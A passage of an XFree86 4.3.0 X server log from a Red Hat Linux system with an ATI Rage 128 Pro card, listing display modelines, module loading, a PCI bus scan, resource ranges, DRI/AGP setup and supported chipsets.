600 602 625 doublescan +hsync +vsync (**) R128(0): Default mode "800x600": 40.0 MHz, 37.9 kHz, 60.3 Hz (II) R128(0): Modeline "800x600" 40.00 800 840 968 1056 600 601 605 628 +hsync +vsync (**) R128(0): Default mode "800x600": 81.0 MHz, 75.0 kHz, 60.0 Hz (D) (II) R128(0): Modeline "800x600" 81.00 800 832 928 1080 600 600 602 625 doublescan +hsync +vsync (**) R128(0): Default mode "800x600": 36.0 MHz, 35.2 kHz, 56.2 Hz (II) R128(0): Modeline "800x600" 36.00 800 824 896 1024 600 601 603 625 +hsync +vsync (**) R128(0): Default mode "700x525": 77.9 MHz, 81.5 kHz, 74.8 Hz (D) (II) R128(0): Modeline "700x525" 77.90 700 732 892 956 525 526 532 545 doublescan +hsync +vsync (**) R128(0): Default mode "700x525": 75.5 MHz, 77.0 kHz, 70.0 Hz (D) (II) R128(0): Modeline "700x525" 75.50 700 732 828 980 525 525 527 550 doublescan +hsync +vsync (**) R128(0): Default mode "700x525": 61.0 MHz, 64.9 kHz, 60.0 Hz (D) (II) R128(0): Modeline "700x525" 61.00 700 744 820 940 525 526 532 541 doublescan +hsync +vsync (**) R128(0): Default mode "640x512": 67.5 MHz, 80.0 kHz, 75.0 Hz (D) (II) R128(0): Modeline "640x512" 67.50 640 648 720 844 512 512 514 533 doublescan +hsync +vsync (**) R128(0): Default mode "640x512": 54.0 MHz, 64.0 kHz, 60.0 Hz (D) (II) R128(0): Modeline "640x512" 54.00 640 664 720 844 512 512 514 533 doublescan +hsync +vsync (**) R128(0): Default mode "640x480": 31.5 MHz, 37.5 kHz, 75.0 Hz (II) R128(0): Modeline "640x480" 31.50 640 656 720 840 480 481 484 500 -hsync -vsync (**) R128(0): Default mode "640x480": 31.5 MHz, 37.9 kHz, 72.8 Hz (II) R128(0): Modeline "640x480" 31.50 640 664 704 832 480 489 491 520 -hsync -vsync (**) R128(0): Default mode "640x480": 25.2 MHz, 31.5 kHz, 60.0 Hz (II) R128(0): Modeline "640x480" 25.20 640 656 752 800 480 490 492 525 -hsync -vsync (**) R128(0): Default mode "640x480": 54.0 MHz, 60.0 kHz, 60.0 Hz (D) (II) R128(0): Modeline "640x480" 54.00 640 688 744 900 480 480 482 500 doublescan +hsync +vsync (**) R128(0): Default mode "720x400": 35.5 MHz, 37.9 kHz, 85.0 Hz (II) R128(0): Modeline "720x400" 35.50 720 756 828 936 400 401 404 446 -hsync +vsync (**) R128(0): Default mode "640x400": 31.5 MHz, 37.9 kHz, 85.1 Hz (II) R128(0): Modeline "640x400" 31.50 640 672 736 832 400 401 404 445 -hsync +vsync (**) R128(0): Default mode "576x432": 60.8 MHz, 77.5 kHz, 85.2 Hz (D) (II) R128(0): Modeline "576x432" 60.75 576 608 672 784 432 432 434 455 doublescan +hsync -vsync (**) R128(0): Default mode "576x432": 54.0 MHz, 67.5 kHz, 75.0 Hz (D) (II) R128(0): Modeline "576x432" 54.00 576 608 672 800 432 432 434 450 doublescan +hsync +vsync (**) R128(0): Default mode "640x350": 31.5 MHz, 37.9 kHz, 85.1 Hz (II) R128(0): Modeline "640x350" 31.50 640 672 736 832 350 382 385 445 +hsync -vsync (**) R128(0): Default mode "576x384": 32.5 MHz, 44.2 kHz, 54.8 Hz (D) (II) R128(0): Modeline "576x384" 32.50 576 589 657 736 384 385 388 403 doublescan +hsync +vsync (**) R128(0): Default mode "512x384": 47.2 MHz, 68.7 kHz, 85.0 Hz (D) (II) R128(0): Modeline "512x384" 47.25 512 536 584 688 384 384 386 404 doublescan +hsync +vsync (**) R128(0): Default mode "512x384": 39.4 MHz, 60.1 kHz, 75.1 Hz (D) (II) R128(0): Modeline "512x384" 39.40 512 520 568 656 384 384 386 400 doublescan +hsync +vsync (**) R128(0): Default mode "512x384": 37.5 MHz, 56.5 kHz, 70.1 Hz (D) (II) R128(0): Modeline "512x384" 37.50 512 524 592 664 384 385 388 403 doublescan -hsync -vsync (**) R128(0): Default mode "512x384": 32.5 MHz, 48.4 kHz, 60.0 Hz (D) (II) R128(0): Modeline "512x384" 32.50 512 524 592 672 384 385 388 403 doublescan -hsync -vsync (**) R128(0): Default mode "512x384": 22.4 MHz, 35.5 kHz, 87.1 Hz (D) (II) R128(0): Modeline "512x384" 22.45 512 516 604 632 384 384 388 409 interlace doublescan +hsync +vsync (**) R128(0): Default mode "416x312": 28.6 MHz, 49.7 kHz, 74.7 Hz (D) (II) R128(0): Modeline "416x312" 28.64 416 432 464 576 312 312 314 333 doublescan -hsync -vsync (**) R128(0): Default mode "400x300": 28.1 MHz, 53.7 kHz, 85.3 Hz (D) (II) R128(0): Modeline "400x300" 28.15 400 416 448 524 300 300 302 315 doublescan +hsync +vsync (**) R128(0): Default mode "400x300": 24.8 MHz, 46.9 kHz, 75.1 Hz (D) (II) R128(0): Modeline "400x300" 24.75 400 408 448 528 300 300 302 312 doublescan +hsync +vsync (**) R128(0): Default mode "400x300": 25.0 MHz, 48.1 kHz, 72.2 Hz (D) (II) R128(0): Modeline "400x300" 25.00 400 428 488 520 300 318 321 333 doublescan +hsync +vsync (**) R128(0): Default mode "400x300": 20.0 MHz, 37.9 kHz, 60.3 Hz (D) (II) R128(0): Modeline "400x300" 20.00 400 420 484 528 300 300 302 314 doublescan +hsync +vsync (**) R128(0): Default mode "400x300": 18.0 MHz, 35.2 kHz, 56.3 Hz (D) (II) R128(0): Modeline "400x300" 18.00 400 412 448 512 300 300 301 312 doublescan +hsync +vsync (**) R128(0): Default mode "320x240": 18.0 MHz, 43.3 kHz, 85.2 Hz (D) (II) R128(0): Modeline "320x240" 18.00 320 348 376 416 240 240 242 254 doublescan -hsync -vsync (**) R128(0): Default mode "320x240": 15.8 MHz, 37.5 kHz, 75.0 Hz (D) (II) R128(0): Modeline "320x240" 15.75 320 328 360 420 240 240 242 250 doublescan -hsync -vsync (**) R128(0): Default mode "320x240": 15.8 MHz, 37.9 kHz, 72.8 Hz (D) (II) R128(0): Modeline "320x240" 15.75 320 332 352 416 240 244 245 260 doublescan -hsync -vsync (**) R128(0): Default mode "320x240": 12.6 MHz, 31.5 kHz, 60.1 Hz (D) (II) R128(0): Modeline "320x240" 12.60 320 328 376 400 240 245 246 262 doublescan -hsync -vsync (**) R128(0): Default mode "360x200": 17.8 MHz, 37.9 kHz, 85.0 Hz (D) (II) R128(0): Modeline "360x200" 17.75 360 378 414 468 200 200 202 223 doublescan -hsync +vsync (**) R128(0): Default mode "320x200": 15.8 MHz, 37.9 kHz, 85.3 Hz (D) (II) R128(0): Modeline "320x200" 15.75 320 336 368 416 200 200 202 222 doublescan -hsync +vsync (**) R128(0): Default mode "320x175": 15.8 MHz, 37.9 kHz, 85.3 Hz (D) (II) R128(0): Modeline "320x175" 15.75 320 336 368 416 175 191 192 222 doublescan +hsync -vsync (--) R128(0): Display dimensions: (330, 240) mm (--) R128(0): DPI set to (78, 81) (II) Loading sub module "fb" (II) LoadModule: "fb" (II) Loading /usr/X11R6/lib/modules/libfb.a (II) Module fb: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.0.0 ABI class: XFree86 ANSI C Emulation, version 0.2 (II) Loading sub module "ramdac" (II) LoadModule: "ramdac" (II) Loading /usr/X11R6/lib/modules/libramdac.a (II) Module ramdac: vendor="The XFree86 Project" compiled for 4.3.0, module version = 0.1.0 ABI class: XFree86 Video Driver, version 0.6 (II) Loading sub module "xaa" (II) LoadModule: "xaa" (II) Loading /usr/X11R6/lib/modules/libxaa.a (II) Module xaa: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.1.0 ABI class: XFree86 Video Driver, version 0.6 (!!) R128(0): For information on using the multimedia capabilities of this adapter, please see http://gatos.sf.net. (--) Depth 24 pixmap format is 32 bpp (II) do I need RAC? No, I don't. (II) resource ranges after preInit: [0] 0 0 0xff9fc000 - 0xff9fffff (0x4000) MS[B] [1] 0 0 0xf8000000 - 0xfbffffff (0x4000000) MS[B] [2] -1 0 0xffe00000 - 0xffffffff (0x200000) MX[B](B) [3] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [4] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B] [5] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B] [6] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B] [7] -1 0 0xff7ffc00 - 0xff7ffc7f (0x80) MX[B] [8] -1 0 0xf0000000 - 0xefffffff (0x0) MX[B]O [9] -1 0 0x80000000 - 0x8001ffff (0x20000) MX[B](B) [10] -1 0 0xff9fc000 - 0xff9fffff (0x4000) MX[B](B) [11] -1 0 0xf8000000 - 0xfbffffff (0x4000000) MX[B](B) [12] 0 0 0x000a0000 - 0x000affff (0x10000) MS[B](OprU) [13] 0 0 0x000b0000 - 0x000b7fff (0x8000) MS[B](OprU) [14] 0 0 0x000b8000 - 0x000bffff (0x8000) MS[B](OprU) [15] 0 0 0x0000ec00 - 0x0000ecff (0x100) IS[B] [16] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B] [17] -1 0 0x00000000 - 0x000000ff (0x100) IX[B] [18] -1 0 0x0000dc80 - 0x0000dcff (0x80) IX[B] [19] -1 0 0x0000cc40 - 0x0000cc7f (0x40) IX[B] [20] -1 0 0x0000c800 - 0x0000c8ff (0x100) IX[B] [21] -1 0 0x0000ff60 - 0x0000ff7f (0x20) IX[B] [22] -1 0 0x0000ccd0 - 0x0000ccdf (0x10) IX[B] [23] -1 0 0x0000ff80 - 0x0000ff9f (0x20) IX[B] [24] -1 0 0x0000ffa0 - 0x0000ffaf (0x10) IX[B] [25] -1 0 0x0000ec00 - 0x0000ecff (0x100) IX[B](B) [26] 0 0 0x000003b0 - 0x000003bb (0xc) IS[B](OprU) [27] 0 0 0x000003c0 - 0x000003df (0x20) IS[B](OprU) (==) R128(0): Write-combining range (0xf8000000,0x1000000) drmOpenDevice: minor is 0 drmOpenDevice: node name is /dev/dri/card0 drmOpenDevice: open result is 7, (OK) drmOpenDevice: minor is 0 drmOpenDevice: node name is /dev/dri/card0 drmOpenDevice: open result is 7, (OK) drmOpenDevice: minor is 0 drmOpenDevice: node name is /dev/dri/card0 drmOpenDevice: open result is 7, (OK) drmGetBusid returned '' (II) R128(0): [drm] created "r128" driver at busid "PCI:1:0:0" (II) R128(0): [drm] added 8192 byte SAREA at 0xd89cb000 (II) R128(0): [drm] mapped SAREA 0xd89cb000 to 0x40018000 (II) R128(0): [drm] framebuffer handle = 0xf8000000 (II) R128(0): [drm] added 1 reserved context for kernel (II) R128(0): [agp] Mode 0x1f000211 [AGP 0x8086/0x1a30; Card 0x1002/0x5446] (II) R128(0): [agp] 8192 kB allocated with handle 0xd99cf000 (II) R128(0): [agp] ring handle = 0xf0000000 (II) R128(0): [agp] Ring mapped at 0x411ef000 (II) R128(0): [agp] ring read ptr handle = 0xf0101000 (II) R128(0): [agp] Ring read ptr mapped at 0x4001a000 (II) R128(0): [agp] vertex/indirect buffers handle = 0xf0102000 (II) R128(0): [agp] Vertex/indirect buffers mapped at 0x412f0000 (II) R128(0): [agp] AGP texture map handle = 0xf0302000 (II) R128(0): [agp] AGP Texture map mapped at 0x414f0000 (II) R128(0): [drm] register handle = 0xff9fc000 (II) R128(0): [dri] Visual configs initialized (II) R128(0): CCE in BM mode (II) R128(0): Using 8 MB AGP aperture (II) R128(0): Using 1 MB for the ring buffer (II) R128(0): Using 2 MB for vertex/indirect buffers (II) R128(0): Using 5 MB for AGP textures (II) R128(0): Memory manager initialized to (0,0) (1024,3072) (II) R128(0): Reserved area from (0,768) to (1024,770) (II) R128(0): Largest offscreen area available: 1024 x 2302 (II) R128(0): Reserved back buffer from (0,770) to (1024,1538) (II) R128(0): Reserved depth buffer from (0,1538) to (1024,2307) (II) R128(0): Reserved depth span from (0,2306) offset 0x902000 (II) R128(0): Reserved 4096 kb for textures at offset 0xc00000 (II) R128(0): Using XFree86 Acceleration Architecture (XAA) Screen to screen bit blits Solid filled rectangles 8x8 mono pattern filled rectangles Indirect CPU to Screen color expansion Solid Lines Dashed Lines Offscreen Pixmaps Setting up tile and stipple cache: 20 128x128 slots 5 256x256 slots (II) R128(0): Acceleration enabled (**) R128(0): Option "BackingStore" "On" (**) R128(0): Backing store enabled (==) R128(0): Silken mouse enabled (II) R128(0): Using hardware cursor (scanline 9228) (II) R128(0): Largest offscreen area available: 1024 x 763 (**) Option "dpms" (**) R128(0): DPMS enabled (II) R128(0): X context handle = 0x00000001 (II) R128(0): [drm] installed DRM signal handler (II) R128(0): [DRI] installation complete (II) R128(0): [drm] Added 128 16384 byte vertex/indirect buffers (II) R128(0): [drm] Mapped 128 vertex/indirect buffers (II) R128(0): [drm] dma control initialized, using IRQ 11 (II) R128(0): Direct rendering enabled (==) RandR enabled (II) Initializing built-in extension MIT-SHM (II) Initializing built-in extension XInputExtension (II) Initializing built-in extension XTEST (II) Initializing built-in extension XKEYBOARD (II) Initializing built-in extension LBX (II) Initializing built-in extension XC-APPGROUP (II) Initializing built-in extension SECURITY (II) Initializing built-in extension XINERAMA (II) Initializing built-in extension XFree86-Bigfont (II) Initializing built-in extension RENDER (II) Initializing built-in extension RANDR (**) Option "Protocol" "PS/2" (**) Mous XFree86 Version 4.3.0 (Custom Build: 4.3.0-2.90.60.legacy) Release Date: 15 August 2003 X Protocol Version 11, Revision 0, Release 6.6 Build Operating System: Linux 2.6.8-1.521smp i686 [ELF] Build Date: 01 February 2005 Build Host: Before reporting any problems, please make sure you are using the most recent XFree86 packages available from Red Hat by checking for updates at http://rhn.redhat.com/errata or by using the Red Hat Network up2date tool. If you still encounter problems, please file bug reports in the XFree86.org bugzilla at http://bugs.xfree86.org and/or Red Hat bugzilla at http://bugzilla.redhat.com Module Loader present OS Kernel: Linux version 2.4.20-8 (root at gozin3) (gcc version 3.2.2 20030222 (Red Hat Linux 3.2.2-5)) #1 Wed Apr 23 13:42:48 PDT 2003 Markers: (--) probed, (**) from config file, (==) default setting, (++) from command line, (!!) notice, (II) informational, (WW) warning, (EE) error, (NI) not implemented, (??) unknown. (==) Log file: "/var/log/XFree86.0.log", Time: Tue Jan 17 15:09:05 2006 (==) Using config file: "/etc/X11/XF86Config" (==) ServerLayout "Anaconda Configured" (**) |-->Screen "Screen0" (0) (**) | |-->Monitor "Monitor0" (**) | |-->Device "ATI Rage 128" (**) |-->Input Device "Mouse0" (**) |-->Input Device "Keyboard0" (**) Option "XkbRules" "xfree86" (**) XKB: rules: "xfree86" (**) Option "XkbModel" "pc105" (**) XKB: model: "pc105" (**) Option "XkbLayout" "us" (**) XKB: layout: "us" (==) Keyboard: CustomKeycode disabled (**) FontPath set to "unix/:7100" (**) RgbPath set to "/usr/X11R6/lib/X11/rgb" (==) ModulePath set to "/usr/X11R6/lib/modules" (--) using VT number 8 (II) Open APM successful (II) Module ABI versions: XFree86 ANSI C Emulation: 0.2 XFree86 Video Driver: 0.6 XFree86 XInput driver : 0.4 XFree86 Server Extension : 0.2 XFree86 Font Renderer : 0.4 (II) Loader running on linux (II) LoadModule: "bitmap" (II) Loading /usr/X11R6/lib/modules/fonts/libbitmap.a (II) Module bitmap: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.0.0 Module class: XFree86 Font Renderer ABI class: XFree86 Font Renderer, version 0.4 (II) Loading font Bitmap (II) LoadModule: "pcidata" (II) Loading /usr/X11R6/lib/modules/libpcidata.a (II) Module pcidata: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.0.0 ABI class: XFree86 Video Driver, version 0.6 (II) PCI: Probing config type using method 1 (II) PCI: Config type is 1 (II) PCI: stages = 0x03, oldVal1 = 0x00000000, mode1Res1 = 0x80000000 (II) PCI: PCI scan (all values are in hex) (II) PCI: 00:00:0: chip 8086,1a30 card 1028,010e rev 03 class 06,00,00 hdr 00 (II) PCI: 00:01:0: chip 8086,1a31 card 0000,0000 rev 03 class 06,04,00 hdr 01 (II) PCI: 00:1e:0: chip 8086,244e card 0000,0000 rev 12 class 06,04,00 hdr 01 (II) PCI: 00:1f:0: chip 8086,2440 card 0000,0000 rev 12 class 06,01,00 hdr 80 (II) PCI: 00:1f:1: chip 8086,244b card 1028,010e rev 12 class 01,01,80 hdr 00 (II) PCI: 00:1f:2: chip 8086,2442 card 1028,010e rev 12 class 0c,03,00 hdr 00 (II) PCI: 00:1f:3: chip 8086,2443 card 1028,010e rev 12 class 0c,05,00 hdr 00 (II) PCI: 00:1f:4: chip 8086,2444 card 1028,010e rev 12 class 0c,03,00 hdr 00 (II) PCI: 00:1f:5: chip 8086,2445 card 1028,010e rev 12 class 04,01,00 hdr 00 (II) PCI: 01:00:0: chip 1002,5446 card 1002,0408 rev 00 class 03,00,00 hdr 00 (II) PCI: 02:0c:0: chip 10b7,9200 card 1028,00fe rev 78 class 02,00,00 hdr 00 (II) PCI: End of PCI scan (II) Host-to-PCI bridge: (II) Bus 0: bridge is at (0:0:0), (0,0,2), BCTRL: 0x0008 (VGA_EN is set) (II) Bus 0 I/O range: [0] -1 0 0x00000000 - 0x0000ffff (0x10000) IX[B] (II) Bus 0 non-prefetchable memory range: [0] -1 0 0x00000000 - 0xffffffff (0x0) MX[B] (II) Bus 0 prefetchable memory range: [0] -1 0 0x00000000 - 0xffffffff (0x0) MX[B] (II) PCI-to-PCI bridge: (II) Bus 1: bridge is at (0:1:0), (0,1,1), BCTRL: 0x000e (VGA_EN is set) (II) Bus 1 I/O range: [0] -1 0 0x0000e000 - 0x0000e0ff (0x100) IX[B] [1] -1 0 0x0000e400 - 0x0000e4ff (0x100) IX[B] [2] -1 0 0x0000e800 - 0x0000e8ff (0x100) IX[B] [3] -1 0 0x0000ec00 - 0x0000ecff (0x100) IX[B] (II) Bus 1 non-prefetchable memory range: [0] -1 0 0xff900000 - 0xffafffff (0x200000) MX[B] (II) Bus 1 prefetchable memory range: [0] -1 0 0xf8000000 - 0xfbffffff (0x4000000) MX[B] (II) PCI-to-PCI bridge: (II) Bus 2: bridge is at (0:30:0), (0,2,2), BCTRL: 0x0006 (VGA_EN is cleared) (II) Bus 2 I/O range: [0] -1 0 0x0000d000 - 0x0000d0ff (0x100) IX[B] [1] -1 0 0x0000d400 - 0x0000d4ff (0x100) IX[B] [2] -1 0 0x0000d800 - 0x0000d8ff (0x100) IX[B] [3] -1 0 0x0000dc00 - 0x0000dcff (0x100) IX[B] (II) Bus 2 non-prefetchable memory range: [0] -1 0 0xff700000 - 0xff8fffff (0x200000) MX[B] (II) PCI-to-ISA bridge: (II) Bus -1: bridge is at (0:31:0), (0,-1,-1), BCTRL: 0x0008 (VGA_EN is set) (--) PCI:*(1:0:0) ATI Technologies Inc Rage 128 Pro Ultra TF rev 0, Mem @ 0xf8000000/26, 0xff9fc000/14, I/O @ 0xec00/8, BIOS @ 0x80000000/17 (II) Addressable bus resource ranges are [0] -1 0 0x00000000 - 0xffffffff (0x0) MX[B] [1] -1 0 0x00000000 - 0x0000ffff (0x10000) IX[B] (II) OS-reported resource ranges: [0] -1 0 0xffe00000 - 0xffffffff (0x200000) MX[B](B) [1] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [2] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B] [3] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B] [4] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B] [5] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B] [6] -1 0 0x00000000 - 0x000000ff (0x100) IX[B] (II) PCI Memory resource overlap reduced 0xf0000000 from 0xf3ffffff to 0xefffffff (II) Active PCI resource ranges: [0] -1 0 0xff7ffc00 - 0xff7ffc7f (0x80) MX[B] [1] -1 0 0xf0000000 - 0xefffffff (0x0) MX[B]O [2] -1 0 0x80000000 - 0x8001ffff (0x20000) MX[B](B) [3] -1 0 0xff9fc000 - 0xff9fffff (0x4000) MX[B](B) [4] -1 0 0xf8000000 - 0xfbffffff (0x4000000) MX[B](B) [5] -1 0 0x0000dc80 - 0x0000dcff (0x80) IX[B] [6] -1 0 0x0000cc40 - 0x0000cc7f (0x40) IX[B] [7] -1 0 0x0000c800 - 0x0000c8ff (0x100) IX[B] [8] -1 0 0x0000ff60 - 0x0000ff7f (0x20) IX[B] [9] -1 0 0x0000ccd0 - 0x0000ccdf (0x10) IX[B] [10] -1 0 0x0000ff80 - 0x0000ff9f (0x20) IX[B] [11] -1 0 0x0000ffa0 - 0x0000ffaf (0x10) IX[B] [12] -1 0 0x0000ec00 - 0x0000ecff (0x100) IX[B](B) (II) Active PCI resource ranges after removing overlaps: [0] -1 0 0xff7ffc00 - 0xff7ffc7f (0x80) MX[B] [1] -1 0 0xf0000000 - 0xefffffff (0x0) MX[B]O [2] -1 0 0x80000000 - 0x8001ffff (0x20000) MX[B](B) [3] -1 0 0xff9fc000 - 0xff9fffff (0x4000) MX[B](B) [4] -1 0 0xf8000000 - 0xfbffffff (0x4000000) MX[B](B) [5] -1 0 0x0000dc80 - 0x0000dcff (0x80) IX[B] [6] -1 0 0x0000cc40 - 0x0000cc7f (0x40) IX[B] [7] -1 0 0x0000c800 - 0x0000c8ff (0x100) IX[B] [8] -1 0 0x0000ff60 - 0x0000ff7f (0x20) IX[B] [9] -1 0 0x0000ccd0 - 0x0000ccdf (0x10) IX[B] [10] -1 0 0x0000ff80 - 0x0000ff9f (0x20) IX[B] [11] -1 0 0x0000ffa0 - 0x0000ffaf (0x10) IX[B] [12] -1 0 0x0000ec00 - 0x0000ecff (0x100) IX[B](B) (II) OS-reported resource ranges after removing overlaps with PCI: [0] -1 0 0xffe00000 - 0xffffffff (0x200000) MX[B](B) [1] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [2] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B] [3] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B] [4] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B] [5] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B] [6] -1 0 0x00000000 - 0x000000ff (0x100) IX[B] (II) All system resource ranges: [0] -1 0 0xffe00000 - 0xffffffff (0x200000) MX[B](B) [1] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [2] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B] [3] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B] [4] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B] [5] -1 0 0xff7ffc00 - 0xff7ffc7f (0x80) MX[B] [6] -1 0 0xf0000000 - 0xefffffff (0x0) MX[B]O [7] -1 0 0x80000000 - 0x8001ffff (0x20000) MX[B](B) [8] -1 0 0xff9fc000 - 0xff9fffff (0x4000) MX[B](B) [9] -1 0 0xf8000000 - 0xfbffffff (0x4000000) MX[B](B) [10] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B] [11] -1 0 0x00000000 - 0x000000ff (0x100) IX[B] [12] -1 0 0x0000dc80 - 0x0000dcff (0x80) IX[B] [13] -1 0 0x0000cc40 - 0x0000cc7f (0x40) IX[B] [14] -1 0 0x0000c800 - 0x0000c8ff (0x100) IX[B] [15] -1 0 0x0000ff60 - 0x0000ff7f (0x20) IX[B] [16] -1 0 0x0000ccd0 - 0x0000ccdf (0x10) IX[B] [17] -1 0 0x0000ff80 - 0x0000ff9f (0x20) IX[B] [18] -1 0 0x0000ffa0 - 0x0000ffaf (0x10) IX[B] [19] -1 0 0x0000ec00 - 0x0000ecff (0x100) IX[B](B) (II) LoadModule: "GLcore" (II) Loading /usr/X11R6/lib/modules/extensions/libGLcore.a (II) Module GLcore: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.0.0 ABI class: XFree86 Server Extension, version 0.2 (II) LoadModule: "dbe" (II) Loading /usr/X11R6/lib/modules/extensions/libdbe.a (II) Module dbe: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.0.0 Module class: XFree86 Server Extension ABI class: XFree86 Server Extension, version 0.2 (II) Loading extension DOUBLE-BUFFER (II) LoadModule: "extmod" (II) Loading /usr/X11R6/lib/modules/extensions/libextmod.a (II) Module extmod: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.0.0 Module class: XFree86 Server Extension ABI class: XFree86 Server Extension, version 0.2 (II) Loading extension SHAPE (II) Loading extension MIT-SUNDRY-NONSTANDARD (II) Loading extension BIG-REQUESTS (II) Loading extension SYNC (II) Loading extension MIT-SCREEN-SAVER (II) Loading extension XC-MISC (II) Loading extension XFree86-VidModeExtension (II) Loading extension XFree86-Misc (II) Loading extension XFree86-DGA (II) Loading extension DPMS (II) Loading extension FontCache (II) Loading extension TOG-CUP (II) Loading extension Extended-Visual-Information (II) Loading extension XVideo (II) Loading extension XVideo-MotionCompensation (II) Loading extension X-Resource (II) LoadModule: "fbdevhw" (II) Loading /usr/X11R6/lib/modules/linux/libfbdevhw.a (II) Module fbdevhw: vendor="The XFree86 Project" compiled for 4.3.0, module version = 0.0.2 ABI class: XFree86 Video Driver, version 0.6 (II) LoadModule: "dri" (II) Loading /usr/X11R6/lib/modules/extensions/libdri.a (II) Module dri: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.0.0 ABI class: XFree86 Server Extension, version 0.2 (II) Loading sub module "drm" (II) LoadModule: "drm" (II) Loading /usr/X11R6/lib/modules/linux/libdrm.a (II) Module drm: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.0.0 ABI class: XFree86 Server Extension, version 0.2 (II) Loading extension XFree86-DRI (II) LoadModule: "glx" (II) Loading /usr/X11R6/lib/modules/extensions/libglx.a (II) Module glx: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.0.0 ABI class: XFree86 Server Extension, version 0.2 (II) Loading sub module "GLcore" (II) LoadModule: "GLcore" (II) Reloading /usr/X11R6/lib/modules/extensions/libGLcore.a (II) Loading extension GLX (II) LoadModule: "record" (II) Loading /usr/X11R6/lib/modules/extensions/librecord.a (II) Module record: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.13.0 Module class: XFree86 Server Extension ABI class: XFree86 Server Extension, version 0.2 (II) Loading extension RECORD (II) LoadModule: "r128" (II) Loading /usr/X11R6/lib/modules/drivers/r128_drv.o (II) Module r128: vendor="The XFree86 Project" compiled for 4.3.0, module version = 4.0.1 Module class: XFree86 Video Driver ABI class: XFree86 Video Driver, version 0.6 (II) LoadModule: "ati" (II) Loading /usr/X11R6/lib/modules/drivers/ati_drv.o (II) Module ati: vendor="The XFree86 Project" compiled for 4.3.0, module version = 6.4.18 Module class: XFree86 Video Driver ABI class: XFree86 Video Driver, version 0.6 (II) LoadModule: "mouse" (II) Loading /usr/X11R6/lib/modules/input/mouse_drv.o (II) Module mouse: vendor="The XFree86 Project" compiled for 4.3.0, module version = 1.0.0 Module class: XFree86 XInput Driver ABI class: XFree86 XInput driver, version 0.4 (II) ATI: ATI driver (version 6.4.18) for chipsets: ati, ativga (II) R128: Driver for ATI Rage 128 chipsets: ATI Rage 128 Mobility M3 LE (PCI), ATI Rage 128 Mobility M3 LF (AGP), ATI Rage 128 Mobility M4 MF (AGP), ATI Rage 128 Mobility M4 ML (AGP), ATI Rage 128 Pro GL PA (AGP?), ATI Rage 128 Pro GL PB (AGP?), ATI Rage 128 Pro GL PC (AGP?), ATI Rage 128 Pro GL PD (PCI), ATI Rage 128 Pro GL PE (AGP?), ATI Rage 128 Pro GL PF (AGP), ATI Rage 128 Pro VR PG (AGP?), ATI Rage 128 Pro VR PH (AGP?), ATI Rage 128 Pro VR PI (AGP?), ATI Rage 128 Pro VR PJ (AGP?), ATI Rage 128 Pro VR PK (AGP?), ATI Rage 128 Pro VR PL (AGP?), ATI Rage 128 Pro VR PM (AGP?), ATI Rage 128 Pro VR PN (AGP?), ATI Rage 128 Pro VR PO (AGP?), ATI Rage 128 Pro VR PP (PCI), ATI Rage 128 Pro VR PQ (AGP?), ATI Rage 128 Pro VR PR (PCI), ATI Rage 128 Pro VR PS (AGP?), ATI Rage 128 Pro VR PT (AGP?), ATI Rage 128 Pro VR PU (AGP?), ATI Rage 128 Pro VR PV (AGP?), ATI Rage 128 Pro VR PW (AGP?), ATI Rage 128 Pro VR PX (AGP?), ATI Rage 128 GL RE (PCI), ATI Rage 128 GL RF (AGP), ATI Rage 128 RG (AGP), ATI Rage 128 VR RK (PCI), ATI Rage 128 VR RL (AGP), ATI Rage 128 4X SE (AGP?), ATI Rage 128 4X SF (AGP?), ATI Rage 128 4X SG (AGP?), ATI Rage 128 4X SH (AGP?), ATI Rage 128 4X SK (AGP?), ATI Rage 128 4X SL (AGP?), ATI Rage 128 4X SM (AGP), ATI Rage 128 4X SN (AGP?), ATI Rage 128 Pro ULTRA TF (AGP), ATI Rage 128 Pro ULTRA TL (AGP), ATI Rage 128 Pro ULTRA TR (AGP), ATI Rage 128 Pro ULTRA TS (AGP?), ATI Rage 128 Pro ULTRA TT (AGP?), ATI Rage 128 Pro ULTRA TU (AGP?) (II) RADEON: Driver for ATI Radeon chipsets: ATI Radeon QD (AGP), ATI Radeon QE (AGP), ATI Radeon QF (AGP), ATI Radeon QG (AGP), ATI Radeon VE/7000 QY (AGP), ATI Radeon VE/7000 QZ (AGP), ATI Radeon Mobility M7 LW (AGP), ATI Mobility FireGL 7800 M7 LX (AGP), ATI Radeon Mobility M6 LY (AGP), ATI Radeon Mobility M6 LZ (AGP), ATI Radeon IGP320 (A3) 4136, ATI Radeon IGP320M (U1) 4336, ATI Radeon IGP330/340/350 (A4) 4137, ATI Radeon IGP330M/340M/350M (U2) 4337, ATI Radeon 7000 IGP (A4+) 4237, ATI Radeon Mobility 7000 IGP 4437, ATI FireGL 8700/8800 QH (AGP), ATI Radeon 8500 QI (AGP), ATI Radeon 8500 QJ (AGP), ATI Radeon 8500 QK (AGP), ATI Radeon 8500 